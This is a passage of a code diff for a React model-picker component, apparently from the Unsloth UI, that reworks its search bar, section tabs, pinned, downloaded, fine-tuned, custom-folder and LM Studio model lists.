+            "flex items-center gap-2 pb-1",
+            hasConnected ? "pr-0" : "pr-2",
           )}
         >
-          {showConnected ? (
-            connectedGroups.length === 0 ? (
-              <div className="px-2.5 py-2 text-xs leading-relaxed text-muted-foreground">
-                {externalModels.length === 0
-                  ? "No models from your connections. Set up in Settings then Connections."
-                  : "No models match your search."}
-              </div>
+          <div className="relative flex-1">
+            <HugeiconsIcon
+              icon={Search01Icon}
+              className="pointer-events-none absolute left-2.5 top-2.5 size-4 text-muted-foreground"
+            />
+            <Input
+              value={query}
+              onChange={(event) => setQuery(event.target.value)}
+              placeholder={
+                section === "downloaded"
+                  ? "Search local models"
+                  : "Search Unsloth models"
+              }
+              data-model-picker-search-input={true}
+              className="field-soft h-9 border-0 pl-8 pr-8"
+            />
+            {isLoading && (
+              <Spinner className="pointer-events-none absolute right-2.5 top-2.5 size-4 text-muted-foreground" />
+            )}
+          </div>
+          {onBrowseHub ? (
+            <Tooltip>
+              <TooltipTrigger asChild={true}>
+                <button
+                  type="button"
+                  onClick={onBrowseHub}
+                  aria-label="Search more models on the Hub"
+                  className="hub-tab-toggle-pill flex h-9 w-[110px] shrink-0 items-center justify-center gap-[5px] rounded-full border-0 text-xs text-foreground transition-colors"
+                >
+                  <HugeiconsIcon
+                    icon={DashboardCircleIcon}
+                    className="size-4"
+                  />
+                  Search Hub
+                </button>
+              </TooltipTrigger>
+              <TooltipContent>Search all models</TooltipContent>
+            </Tooltip>
+          ) : null}
+        </div>
+
+        {/* Section tabs then the format and sort dropdowns, packed left with one
+          uniform gap between every control. The box is sized so the last
+          dropdown still lands on Search Hub's edge. Dropdowns hide on Connected. */}
+        <div className="flex items-center gap-2">
+          {sectionToggle}
+          {showConnected ? null : (
+            <div className="flex items-center gap-2">
+              <HubOptionMenu
+                value={formatFilter}
+                options={FORMAT_FILTER_OPTIONS}
+                onValueChange={setFormatFilter}
+                ariaLabel="Filter by format"
+                align="end"
+                className={sortTriggerClassName}
+                contentClassName={sortMenuContentClassName}
+              />
+              {sectionSortDropdown}
+            </div>
+          )}
+        </div>
+
+        <div
+          ref={scrollRef}
+          onScroll={(e) => updateListFades(e.currentTarget)}
+          className={cn(
+            // List sits within the menu padding so gaps match; height tracks content
+            // up to the cap. scroll-py + symmetric px keep the focus ring off the
+            // overflow clip edges during keyboard nav.
+            "model-list-scroll max-h-[335px] overflow-y-auto scroll-py-1.5 px-0.5 mr-1",
+            listScrolled && "is-scrolled",
+            listMoreBelow && "is-bottom-faded",
+          )}
+          {...hubModelList.listboxProps}
+        >
+          <div
+            className={cn(
+              "pr-0",
+              // On Device pulls the heading block tight to the controls; Recommended
+              // keeps a little more top room above its first row.
+              showDownloaded ? "pt-0" : "pt-[4px]",
+              onEject ? "pb-[60px]" : "pb-4",
+            )}
+          >
+            {showConnected ? (
+              connectedGroups.length === 0 ? (
+                <div className="px-2.5 py-2 text-xs leading-relaxed text-muted-foreground">
+                  {externalModels.length === 0
+                    ? "No models from your connections. Set up in Settings then Connections."
+                    : "No models match your search."}
+                </div>
+              ) : (
+                connectedGroups.map((group) => (
+                  <div key={group.providerId}>
+                    <div className="flex items-center gap-2 px-2.5 py-1.5 text-ui-10 font-semibold uppercase tracking-wider text-muted-foreground">
+                      <ApiProviderLogo
+                        providerType={group.providerType}
+                        className="size-3.5"
+                        title={group.providerName}
+                      />
+                      <span className="min-w-0 truncate">
+                        {group.providerName}
+                      </span>
+                    </div>
+                    {group.models.map((model) => (
+                      <button
+                        key={model.id}
+                        type="button"
+                        onClick={() =>
+                          onSelect(model.id, {
+                            source: "external",
+                            isLora: false,
+                          })
+                        }
+                        className={cn(
+                          "flex w-full items-center rounded-md px-2.5 py-1.5 text-left text-sm transition-colors hover:bg-[#ececec] dark:hover:bg-[var(--sidebar-accent)]",
+                          value === model.id &&
+                            "bg-[#ececec] dark:bg-[var(--sidebar-accent)]",
+                        )}
+                      >
+                        <span className="min-w-0 truncate">{model.name}</span>
+                      </button>
+                    ))}
+                  </div>
+                ))
+              )
             ) : (
-              connectedGroups.map((group) => (
-                <div key={group.providerId}>
-                  <div className="flex items-center gap-2 px-2.5 py-1.5 text-[10px] font-semibold uppercase tracking-wider text-muted-foreground">
-                    <ApiProviderLogo
-                      providerType={group.providerType}
-                      className="size-3.5"
-                      title={group.providerName}
-                    />
-                    <span className="min-w-0 truncate">
-                      {group.providerName}
+              <>
+                {/* First-load spinner only when nothing cached is shown yet. */}
+                {showDownloaded &&
+                !cachedReady &&
+                !showHfSection &&
+                downloadedEmpty ? (
+                  <div className="flex items-center gap-2 px-5 py-3">
+                    <Spinner className="size-3 text-muted-foreground" />
+                    <span className="text-xs text-muted-foreground">
+                      Loading models…
                     </span>
                   </div>
-                  {group.models.map((model) => (
-                    <button
-                      key={model.id}
-                      type="button"
-                      onClick={() =>
-                        onSelect(model.id, {
-                          source: "external",
-                          isLora: false,
-                        })
-                      }
-                      className={cn(
-                        "flex w-full items-center rounded-md px-2.5 py-1.5 text-left text-sm transition-colors hover:bg-[#ececec] dark:hover:bg-[var(--sidebar-accent)]",
-                        value === model.id &&
-                          "bg-[#ececec] dark:bg-[var(--sidebar-accent)]",
-                      )}
-                    >
-                      <span className="min-w-0 truncate">{model.name}</span>
-                    </button>
-                  ))}
-                </div>
-              ))
-            )
-          ) : (
-            <>
-              {/* First-load spinner only when nothing cached is shown yet. */}
-              {showDownloaded &&
-              !cachedReady &&
-              !showHfSection &&
-              downloadedEmpty ? (
-                <div className="flex items-center gap-2 px-5 py-3">
-                  <Spinner className="size-3 text-muted-foreground" />
-                  <span className="text-xs text-muted-foreground">
-                    Loading models…
-                  </span>
-                </div>
-              ) : null}
+                ) : null}
 
-              {/* Empty On Device: a search miss vs nothing downloaded yet. Hidden
+                {/* Empty On Device: a search miss vs nothing downloaded yet. Hidden
               when custom folders below still have matches. */}
-              {showDownloaded &&
-              cachedReady &&
-              downloadedEmpty &&
-              sortedCustomFolderModels.length === 0 ? (
-                <div className="px-2.5 py-2 text-xs text-muted-foreground">
-                  {showHfSection
-                    ? "No matching models on device."
-                    : formatFilter === "all"
-                      ? "No downloaded models yet. Search above or pick Recommended."
-                      : `No downloaded ${FORMAT_FILTER_LABELS[formatFilter]} models yet.`}
-                </div>
-              ) : null}
+                {showDownloaded &&
+                cachedReady &&
+                downloadedEmpty &&
+                sortedCustomFolderModels.length === 0 ? (
+                  <div className="px-2.5 py-2 text-xs text-muted-foreground">
+                    {showHfSection
+                      ? "No matching models on device."
+                      : formatFilter === "all"
+                        ? "No downloaded models yet. Search above or pick Recommended."
+                        : `No downloaded ${FORMAT_FILTER_LABELS[formatFilter]} models yet.`}
+                  </div>
+                ) : null}
 
-              {/* Downloaded (Unsloth) stays visible (filtered) while searching. */}
-              {showDownloaded &&
-              (unslothCachedGguf.length > 0 ||
-                unslothCachedModelRows.length > 0) ? (
-                <>
-                  <ListLabel
-                    collapsed={downloadedCollapsed}
-                    onToggle={() => setDownloadedCollapsed((v) => !v)}
-                    action={
-                      <>
-                        {hasOtherModels ? (
+                {/* Pinned quants and models sit above the Unsloth heading so
+              favorites are always first. Filtered by the query like the
+              sections below. */}
+                {showDownloaded && pinnedRows.length > 0 ? (
+                  <>
+                    <ListLabel
+                      icon={
+                        <HugeiconsIcon icon={PinIcon} className="size-3.5" />
+                      }
+                      collapsed={pinnedCollapsed}
+                      onToggle={() => setPinnedCollapsed((v) => !v)}
+                    >
+                      Pinned
+                    </ListLabel>
+                    {!pinnedCollapsed &&
+                      pinnedRows.map((row) =>
+                        row.entry
+                          ? renderPinnedQuantRow(row.entry)
+                          : renderDownloadedModelRow(row.model),
+                      )}
+                  </>
+                ) : null}
+
+                {/* Downloaded (Unsloth) stays visible (filtered) while searching. */}
+                {showDownloaded &&
+                (unslothCachedGguf.length > 0 ||
+                  unslothCachedModelRows.length > 0) ? (
+                  <>
+                    <ListLabel
+                      divider={pinnedRows.length > 0}
+                      collapsed={downloadedCollapsed}
+                      onToggle={() => setDownloadedCollapsed((v) => !v)}
+                      action={
+                        <>
+                          {hasOtherModels ? (
+                            <Tooltip delayDuration={0}>
+                              <TooltipTrigger asChild={true}>
+                                <button
+                                  type="button"
+                                  onClick={scrollToOtherModels}
+                                  aria-label="Go to other models"
+                                  className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
+                                >
+                                  <HugeiconsIcon
+                                    icon={Flag01Icon}
+                                    className="size-3"
+                                  />
+                                </button>
+                              </TooltipTrigger>
+                              <TooltipContent
+                                side="bottom"
+                                className="tooltip-compact"
+                              >
+                                Other non-Unsloth models
+                              </TooltipContent>
+                            </Tooltip>
+                          ) : null}
                           <Tooltip delayDuration={0}>
                             <TooltipTrigger asChild={true}>
                               <button
                                 type="button"
-                                onClick={scrollToOtherModels}
-                                aria-label="Go to other models"
+                                onClick={scrollToFineTuned}
+                                aria-label="Go to fine-tuned models"
                                 className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
                               >
                                 <HugeiconsIcon
-                                  icon={Flag01Icon}
+                                  icon={TrainIcon}
                                   className="size-3"
                                 />
                               </button>
@@ -2759,817 +3254,833 @@ export function HubModelPicker({
                               side="bottom"
                               className="tooltip-compact"
                             >
-                              Other non-Unsloth models
+                              Go to fine-tuned models
                             </TooltipContent>
                           </Tooltip>
-                        ) : null}
-                        <Tooltip delayDuration={0}>
-                          <TooltipTrigger asChild={true}>
-                            <button
-                              type="button"
-                              onClick={scrollToFineTuned}
-                              aria-label="Go to fine-tuned models"
-                              className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
+                          <Tooltip delayDuration={0}>
+                            <TooltipTrigger asChild={true}>
+                              <button
+                                type="button"
+                                onClick={scrollToCustomFolders}
+                                aria-label="Go to custom folders"
+                                className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
+                              >
+                                <HugeiconsIcon
+                                  icon={Folder02Icon}
+                                  className="size-3"
+                                />
+                              </button>
+                            </TooltipTrigger>
+                            <TooltipContent
+                              side="bottom"
+                              className="tooltip-compact"
                             >
-                              <HugeiconsIcon
-                                icon={TrainIcon}
-                                className="size-3"
-                              />
-                            </button>
-                          </TooltipTrigger>
-                          <TooltipContent
-                            side="bottom"
-                            className="tooltip-compact"
-                          >
-                            Go to fine-tuned models
-                          </TooltipContent>
-                        </Tooltip>
-                        <Tooltip delayDuration={0}>
-                          <TooltipTrigger asChild={true}>
-                            <button
-                              type="button"
-                              onClick={scrollToCustomFolders}
-                              aria-label="Go to custom folders"
-                              className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
-                            >
-                              <HugeiconsIcon
-                                icon={Folder02Icon}
-                                className="size-3"
-                              />
-                            </button>
-                          </TooltipTrigger>
-                          <TooltipContent
-                            side="bottom"
-                            className="tooltip-compact"
-                          >
-                            Go to custom folders
-                          </TooltipContent>
-                        </Tooltip>
-                      </>
-                    }
-                  >
-                    {/* When other providers (LM Studio/Ollama) also show here, name
+                              Go to custom folders
+                            </TooltipContent>
+                          </Tooltip>
+                        </>
+                      }
+                    >
+                      {/* When other providers (LM Studio/Ollama) also show here, name
                     this group "Unsloth" so the two are easy to tell apart. */}
-                    {sortedLmStudio.length > 0 ? "Unsloth" : "Downloaded"}
-                  </ListLabel>
-                  {!downloadedCollapsed &&
-                    unslothCachedGguf.map(renderDownloadedGgufRow)}
-                  {!downloadedCollapsed &&
-                    unslothCachedModelRows.map(renderDownloadedModelRow)}
-                </>
-              ) : null}
+                      {sortedLmStudio.length > 0 ? "Unsloth" : "Downloaded"}
+                    </ListLabel>
+                    {!downloadedCollapsed &&
+                      unslothCachedGguf.map(renderDownloadedGgufRow)}
+                    {!downloadedCollapsed &&
+                      unslothCachedModelRows.map(renderDownloadedModelRow)}
+                  </>
+                ) : null}
 
-              {/* Other models: non-Unsloth downloads, grouped just above
+                {/* Other models: non-Unsloth downloads, grouped just above
               Fine-tuned. Shown only when such models exist. */}
-              {showDownloaded && hasOtherModels ? (
-                <div ref={otherModelsSectionRef}>
-                  <ListLabel
-                    divider={true}
-                    icon={
-                      <HugeiconsIcon icon={Flag01Icon} className="size-3.5" />
-                    }
-                    collapsed={otherModelsCollapsed}
-                    onToggle={() => setOtherModelsCollapsed((v) => !v)}
-                  >
-                    Other models
-                  </ListLabel>
-                  {!otherModelsCollapsed &&
-                    otherCachedGguf.map(renderDownloadedGgufRow)}
-                  {!otherModelsCollapsed &&
-                    otherCachedModelRows.map(renderDownloadedModelRow)}
-                </div>
-              ) : null}
+                {showDownloaded && hasOtherModels ? (
+                  <div ref={otherModelsSectionRef}>
+                    <ListLabel
+                      divider={true}
+                      icon={
+                        <HugeiconsIcon icon={Flag01Icon} className="size-3.5" />
+                      }
+                      collapsed={otherModelsCollapsed}
+                      onToggle={() => setOtherModelsCollapsed((v) => !v)}
+                    >
+                      Other models
+                    </ListLabel>
+                    {!otherModelsCollapsed &&
+                      otherCachedGguf.map(renderDownloadedGgufRow)}
+                    {!otherModelsCollapsed &&
+                      otherCachedModelRows.map(renderDownloadedModelRow)}
+                  </div>
+                ) : null}
 
-              {/* Fine-tuned models: a section above Custom Folders. Always shown on
+                {/* Fine-tuned models: a section above Custom Folders. Always shown on
               On Device so the train shortcut always has a target, with an empty
               state when none exist. */}
-              {section === "downloaded" ? (
-                <>
-                  <div
-                    ref={fineTunedSectionRef}
-                    className="mt-3 flex items-center gap-1 border-t border-border/50 px-2.5 pb-1 pt-3"
-                  >
-                    <span className="flex items-center gap-1.5 text-[10px] font-semibold uppercase tracking-wider text-muted-foreground">
-                      <HugeiconsIcon icon={TrainIcon} className="size-3.5" />
-                      Fine-tuned
-                    </span>
-                    <div className="ml-auto">
-                      <button
-                        type="button"
-                        aria-label={
-                          fineTunedCollapsed
-                            ? "Expand fine-tuned models"
-                            : "Collapse fine-tuned models"
-                        }
-                        title={fineTunedCollapsed ? "Expand" : "Collapse"}
-                        onClick={() => setFineTunedCollapsed((v) => !v)}
-                        className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
-                      >
-                        {fineTunedCollapsed ? (
-                          <ChevronRightIcon className="size-3" />
-                        ) : (
-                          <ChevronDownIcon className="size-3" />
-                        )}
-                      </button>
-                    </div>
-                  </div>
-                  {!fineTunedCollapsed && fineTunedRows.length > 0 && (
-                    <FineTunedRows
-                      adapters={fineTunedRows}
-                      value={value}
-                      onSelect={onSelect}
-                      onModelsChange={onModelsChange}
-                      deleteDisabled={deleteDisabled}
-                      loraModelList={hubModelList}
-                      expandedGguf={expandedGguf}
-                      setExpandedGguf={setExpandedGguf}
-                      gpu={gpu}
-                    />
-                  )}
-                </>
-              ) : null}
-
-              {showCustom ? (
-                <>
-                  <div
-                    ref={customFolderSectionRef}
-                    className="mt-3 flex items-center gap-1 border-t border-border/50 px-2.5 pb-1 pt-3"
-                  >
-                    <button
-                      type="button"
-                      onClick={() => setShowFolderBrowser(true)}
-                      title="Browse folders on the server"
-                      className="flex items-center gap-1.5 text-[10px] font-semibold uppercase tracking-wider text-muted-foreground transition-colors hover:text-foreground"
+                {section === "downloaded" ? (
+                  <>
+                    <div
+                      ref={fineTunedSectionRef}
+                      className="mt-3 flex items-center gap-1 border-t border-border/50 px-2.5 pb-1 pt-3"
                     >
-                      <HugeiconsIcon icon={Folder02Icon} className="size-3.5" />
-                      Custom Folders
-                    </button>
-                    <div className="flex items-center gap-0.5">
-                      <button
-                        type="button"
-                        aria-label={
-                          showFolderInput
-                            ? "Cancel adding folder"
-                            : "Add scan folder by path"
-                        }
-                        title={
-                          showFolderInput ? "Cancel" : "Add by typing a path"
-                        }
-                        onClick={() => {
-                          setShowFolderInput((open) => {
-                            if (open) {
-                              setFolderInput("");
-                              setFolderError(null);
-                            }
-                            return !open;
-                          });
-                        }}
-                        className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
-                      >
-                        <HugeiconsIcon
-                          icon={showFolderInput ? Cancel01Icon : Add01Icon}
-                          className="size-3"
-                        />
-                      </button>
-                      <button
-                        type="button"
-                        aria-label="Browse for a folder on the server"
-                        title="Browse folders on the server"
-                        onClick={() => setShowFolderBrowser(true)}
-                        className="shrink-0 rounded p-0.5 text-muted-foreground/60 transition-colors hover:text-foreground"
-                      >
-                        <HugeiconsIcon
-                          icon={Search01Icon}
-                          className="size-2.5"
-                        />
-                      </button>
+                      <span className="flex items-center gap-1.5 text-ui-10 font-semibold uppercase tracking-wider text-muted-foreground">
+                        <HugeiconsIcon icon={TrainIcon} className="size-3.5" />
+                        Fine-tuned
+                      </span>
+                      <div className="ml-auto">
+                        <button
+                          type="button"
+                          aria-label={
+                            fineTunedCollapsed
+                              ? "Expand fine-tuned models"
+                              : "Collapse fine-tuned models"
+                          }
+                          title={fineTunedCollapsed ? "Expand" : "Collapse"}
+                          onClick={() => setFineTunedCollapsed((v) => !v)}
+                          className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
+                        >
+                          {fineTunedCollapsed ? (
+                            <ChevronRightIcon className="size-3" />
+                          ) : (
+                            <ChevronDownIcon className="size-3" />
+                          )}
+                        </button>
+                      </div>
                     </div>
-                    <div className="ml-auto">
-                      <button
-                        type="button"
-                        aria-label={
-                          customFoldersCollapsed
-                            ? "Expand custom folders"
-                            : "Collapse custom folders"
-                        }
-                        title={customFoldersCollapsed ? "Expand" : "Collapse"}
-                        onClick={() => setCustomFoldersCollapsed((v) => !v)}
-                        className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
-                      >
-                        {customFoldersCollapsed ? (
-                          <ChevronRightIcon className="size-3" />
-                        ) : (
-                          <ChevronDownIcon className="size-3" />
-                        )}
-                      </button>
-                    </div>
-                  </div>
+                    {!fineTunedCollapsed && fineTunedRows.length > 0 && (
+                      <FineTunedRows
+                        adapters={fineTunedRows}
+                        value={value}
+                        loadedModelId={loadedModelId}
+                        activeGgufVariant={activeGgufVariant}
+                        onSelect={onSelect}
+                        onConfigure={onConfigure}
+                        onModelsChange={onModelsChange}
+                        deleteDisabled={deleteDisabled}
+                        loraModelList={hubModelList}
+                        expandedGguf={expandedGguf}
+                        setExpandedGguf={setExpandedGguf}
+                        gpu={gpu}
+                      />
+                    )}
+                  </>
+                ) : null}
 
-                  {/* Folder paths */}
-                  {!customFoldersCollapsed &&
-                    scanFolders.map((f) => (
-                      <div
-                        key={f.id}
-                        className="group flex items-center gap-1.5 px-2.5 py-0.5"
+                {showCustom ? (
+                  <>
+                    <div
+                      ref={customFolderSectionRef}
+                      className="mt-3 flex items-center gap-1 border-t border-border/50 px-2.5 pb-1 pt-3"
+                    >
+                      <button
+                        type="button"
+                        onClick={() => setShowFolderBrowser(true)}
+                        title="Browse folders on the server"
+                        className="flex items-center gap-1.5 text-ui-10 font-semibold uppercase tracking-wider text-muted-foreground transition-colors hover:text-foreground"
                       >
                         <HugeiconsIcon
                           icon={Folder02Icon}
-                          className="size-3 shrink-0 text-muted-foreground/40"
+                          className="size-3.5"
                         />
-                        <span
-                          className="min-w-0 flex-1 truncate font-mono text-[10px] text-muted-foreground/70"
-                          title={f.path}
-                        >
-                          {f.path}
-                        </span>
+                        Custom Folders
+                      </button>
+                      <div className="flex items-center gap-0.5">
                         <button
                           type="button"
-                          onClick={() => handleRemoveFolder(f.id)}
-                          aria-label={`Remove folder ${f.path}`}
-                          className="shrink-0 rounded p-1 text-foreground/70 transition-colors hover:bg-destructive/10 hover:text-destructive focus-visible:bg-destructive/10 focus-visible:text-destructive"
+                          aria-label={
+                            showFolderInput
+                              ? "Cancel adding folder"
+                              : "Add scan folder by path"
+                          }
+                          title={
+                            showFolderInput ? "Cancel" : "Add by typing a path"
+                          }
+                          onClick={() => {
+                            setShowFolderInput((open) => {
+                              if (open) {
+                                setFolderInput("");
+                                setFolderError(null);
+                              }
+                              return !open;
+                            });
+                          }}
+                          className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
                         >
                           <HugeiconsIcon
-                            icon={Cancel01Icon}
+                            icon={showFolderInput ? Cancel01Icon : Add01Icon}
                             className="size-3"
                           />
                         </button>
-                      </div>
-                    ))}
-
-                  {/* Recommended folders */}
-                  {!customFoldersCollapsed &&
-                    (() => {
-                      const registered = new Set(
-                        scanFolders.map((f) => f.path),
-                      );
-                      const unregistered = recommendedFolders.filter(
-                        (p) => !registered.has(p),
-                      );
-                      if (unregistered.length === 0) return null;
-                      return (
-                        <div className="flex flex-wrap gap-1 px-2.5 pb-0.5">
-                          {unregistered.map((p) => (
-                            <button
-                              key={p}
-                              type="button"
-                              onClick={() => void handleAddFolder(p)}
-                              disabled={folderLoading}
-                              title={`Add ${p}`}
-                              className="rounded-full border border-dashed border-border/50 px-2 py-0.5 font-mono text-[10px] text-muted-foreground/70 transition-colors hover:border-foreground/30 hover:bg-accent hover:text-foreground disabled:opacity-40"
-                            >
-                              <span className="text-[11px] font-semibold">
-                                +
-                              </span>{" "}
-                              {p.length > 30 ? `...${p.slice(-27)}` : p}
-                            </button>
-                          ))}
-                        </div>
-                      );
-                    })()}
-
-                  {/* Add folder input */}
-                  {!customFoldersCollapsed && showFolderInput && (
-                    <div className="px-2.5 pb-1 pt-0.5">
-                      <div className="flex items-center gap-1">
-                        <HugeiconsIcon
-                          icon={Folder02Icon}
-                          className="size-3 shrink-0 text-muted-foreground/40"
-                        />
-                        <input
-                          value={folderInput}
-                          onChange={(e) => {
-                            setFolderInput(e.target.value);
-                            setFolderError(null);
-                          }}
-                          onKeyDown={(e) => {
-                            if (e.key === "Enter") {
-                              e.preventDefault();
-                              handleAddFolder();
-                            }
-                            if (e.key === "Escape") {
-                              e.preventDefault();
-                              e.stopPropagation();
-                              setShowFolderInput(false);
-                              setFolderInput("");
-                              setFolderError(null);
-                            }
-                          }}
-                          placeholder="/path/to/models"
-                          className="h-6 min-w-0 flex-1 rounded border border-border/50 bg-transparent px-1.5 font-mono text-[10px] text-foreground outline-none placeholder:text-muted-foreground/40 focus:border-foreground/20"
-                          disabled={folderLoading}
-                          autoFocus={true}
-                        />
                         <button
                           type="button"
-                          onClick={() => setShowFolderBrowser(true)}
-                          disabled={folderLoading}
-                          aria-label="Browse for folder"
+                          aria-label="Browse for a folder on the server"
                           title="Browse folders on the server"
-                          className="flex h-6 shrink-0 items-center justify-center rounded border border-border/50 px-1.5 text-muted-foreground transition-colors hover:bg-accent hover:text-foreground disabled:opacity-40"
+                          onClick={() => setShowFolderBrowser(true)}
+                          className="shrink-0 rounded p-0.5 text-muted-foreground/60 transition-colors hover:text-foreground"
                         >
                           <HugeiconsIcon
                             icon={Search01Icon}
-                            className="size-3"
+                            className="size-2.5"
                           />
                         </button>
+                      </div>
+                      <div className="ml-auto">
                         <button
                           type="button"
-                          onClick={() => {
-                            void handleAddFolder();
-                          }}
-                          disabled={folderLoading || !folderInput.trim()}
-                          className="h-6 shrink-0 rounded border border-border/50 px-1.5 text-[10px] text-muted-foreground transition-colors hover:bg-accent disabled:opacity-40"
+                          aria-label={
+                            customFoldersCollapsed
+                              ? "Expand custom folders"
+                              : "Collapse custom folders"
+                          }
+                          title={customFoldersCollapsed ? "Expand" : "Collapse"}
+                          onClick={() => setCustomFoldersCollapsed((v) => !v)}
+                          className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
                         >
-                          Add
+                          {customFoldersCollapsed ? (
+                            <ChevronRightIcon className="size-3" />
+                          ) : (
+                            <ChevronDownIcon className="size-3" />
+                          )}
                         </button>
                       </div>
-                      {folderError && (
-                        <p className="px-0.5 pt-0.5 text-[10px] text-destructive">
-                          {folderError}
-                        </p>
-                      )}
                     </div>
-                  )}
 
-                  <FolderBrowser
-                    open={showFolderBrowser}
-                    onOpenChange={setShowFolderBrowser}
-                    initialPath={folderInput.trim() || undefined}
-                    onSelect={(picked) => {
-                      setFolderInput(picked);
-                      setFolderError(null);
-                      // Pass the path explicitly: `folderInput` state hasn't
-                      // flushed yet when "Use this folder" submits.
-                      void handleAddFolder(picked);
-                    }}
-                  />
-
-                  {/* Models from custom folders */}
-                  {!customFoldersCollapsed &&
-                    sortedCustomFolderModels.map((m) => {
-                      const isGgufFile = m.path.toLowerCase().endsWith(".gguf");
-                      // Honor the backend model_format hint (suffixless GGUF
-                      // folders) in addition to name/path so the row classifies
-                      // and loads through the same GGUF path as the filter.
-                      const isGguf = localModelIsGguf(m);
-                      // Single .gguf files (e.g. Ollama blobs) load directly;
-                      // GGUF repos/directories expand to pick a variant.
-                      const isDirectGguf = isGgufFile;
-                      const optionKey = makeModelOptionKey(
-                        "custom-folder",
-                        m.id,
-                      );
-                      return (
-                        <div key={m.id}>
-                          <ModelRow
-                            label={m.model_id ?? m.display_name}
-                            meta={isGguf ? "GGUF" : "Local"}
-                            tooltipText={localPathTooltip(
-                              m.model_id ?? m.display_name,
-                              m.path,
-                            )}
-                            selected={value === m.id}
-                            optionProps={hubModelList.getOptionProps(
-                              optionKey,
-                              value === m.id,
-                            )}
-                            onClick={() => {
-                              if (isDirectGguf) {
-                                onSelect(m.id, {
-                                  source: "local",
-                                  isLora: false,
-                                  isDownloaded: true,
-                                  // Mark GGUF so "Load on selection = off" stages
-                                  // through Run settings (matches LM Studio path).
-                                  isGguf: true,
-                                });
-                              } else if (isGguf) {
-                                toggleGgufExpanded(m.id);
-                              } else {
-                                onSelect(m.id, {
-                                  source: "local",
-                                  isLora: false,
-                                  isDownloaded: true,
-                                });
-                              }
-                            }}
-                            onArrowDownIntoChildren={
-                              isGguf && !isDirectGguf && isGgufExpanded(m.id)
-                                ? () => {
-                                    const focused =
-                                      focusFirstChildOption(optionKey);
-                                    return focused;
-                                  }
-                                : undefined
-                            }
-                            vramStatus={null}
+                    {/* Folder paths */}
+                    {!customFoldersCollapsed &&
+                      scanFolders.map((f) => (
+                        <div
+                          key={f.id}
+                          className="group flex items-center gap-1.5 px-2.5 py-0.5"
+                        >
+                          <HugeiconsIcon
+                            icon={Folder02Icon}
+                            className="size-3 shrink-0 text-muted-foreground/40"
                           />
-                          {isGguf && !isDirectGguf && isGgufExpanded(m.id) && (
-                            <GgufVariantExpander
-                              repoId={m.id}
-                              onDevice={true}
-                              onSelect={onSelect}
-                              parentOptionKey={optionKey}
-                              onNavigatePastStart={() =>
-                                hubModelList.focusOption(optionKey)
-                              }
-                              onNavigatePastEnd={() =>
-                                hubModelList.moveFocus(optionKey, "next")
-                              }
-                              gpuGb={
-                                gpu.available ? gpu.memoryTotalGb : undefined
-                              }
-                              systemRamGb={gpu.systemRamAvailableGb || undefined}
+                          <span
+                            className="min-w-0 flex-1 truncate font-mono text-ui-10 text-muted-foreground/70"
+                            title={f.path}
+                          >
+                            {f.path}
+                          </span>
+                          <button
+                            type="button"
+                            onClick={() => handleRemoveFolder(f.id)}
+                            aria-label={`Remove folder ${f.path}`}
+                            className="shrink-0 rounded p-1 text-foreground/70 transition-colors hover:bg-destructive/10 hover:text-destructive focus-visible:bg-destructive/10 focus-visible:text-destructive"
+                          >
+                            <HugeiconsIcon
+                              icon={Cancel01Icon}
+                              className="size-3"
                             />
-                          )}
+                          </button>
                         </div>
-                      );
-                    })}
-                  {!customFoldersCollapsed &&
-                  showHfSection &&
-                  sortedCustomFolderModels.length === 0 ? (
-                    <div className="px-2.5 py-2 text-xs text-muted-foreground">
-                      No matching models in custom folders.
-                    </div>
-                  ) : null}
-                </>
-              ) : null}
+                      ))}
 
-              {section === "downloaded" && sortedLmStudio.length > 0 ? (
-                <>
-                  <ListLabel
-                    divider={true}
-                    collapsed={lmStudioCollapsed}
-                    onToggle={() => setLmStudioCollapsed((v) => !v)}
-                  >
-                    LM Studio
-                  </ListLabel>
-                  {!lmStudioCollapsed &&
-                    sortedLmStudio.map((m) => {
-                      const isGgufFile = m.path.toLowerCase().endsWith(".gguf");
-                      // LM Studio dirs are GGUF but rarely carry a -GGUF suffix;
-                      // use the shared helper (model_format hint) so the row,
-                      // filter, and load path agree.
-                      const isGguf = localModelIsGguf(m);
-                      const optionKey = makeModelOptionKey("lm-studio", m.id);
-                      return (
-                        <div key={m.id}>
-                          <ModelRow
-                            label={m.model_id ?? m.display_name}
-                            meta={isGguf ? "GGUF" : "Local"}
-                            tooltipText={localPathTooltip(
-                              m.model_id ?? m.display_name,
-                              m.path,
-                            )}
-                            selected={value === m.id}
-                            optionProps={hubModelList.getOptionProps(
-                              optionKey,
-                              value === m.id,
-                            )}
-                            onClick={() => {
-                              if (isGgufFile) {
-                                onSelect(m.id, {
-                                  source: "local",
-                                  isLora: false,
-                                  isDownloaded: true,
-                                  isGguf: true,
-                                });
-                              } else if (isGguf) {
-                                toggleGgufExpanded(m.id);
-                              } else {
-                                onSelect(m.id, {
-                                  source: "local",
-                                  isLora: false,
-                                  isDownloaded: true,
-                                });
+                    {/* Recommended folders */}
+                    {!customFoldersCollapsed &&
+                      (() => {
+                        const registered = new Set(
+                          scanFolders.map((f) => f.path),
+                        );
+                        const unregistered = recommendedFolders.filter(
+                          (p) => !registered.has(p),
+                        );
+                        if (unregistered.length === 0) return null;
+                        return (
+                          <div className="flex flex-wrap gap-1 px-2.5 pb-0.5">
+                            {unregistered.map((p) => (
+                              <button
+                                key={p}
+                                type="button"
+                                onClick={() => void handleAddFolder(p)}
+                                disabled={folderLoading}
+                                title={`Add ${p}`}
+                                className="rounded-full border border-dashed border-border/50 px-2 py-0.5 font-mono text-ui-10 text-muted-foreground/70 transition-colors hover:border-foreground/30 hover:bg-accent hover:text-foreground disabled:opacity-40"
+                              >
+                                <span className="text-ui-11 font-semibold">
+                                  +
+                                </span>{" "}
+                                {p.length > 30 ? `...${p.slice(-27)}` : p}
+                              </button>
+                            ))}
+                          </div>
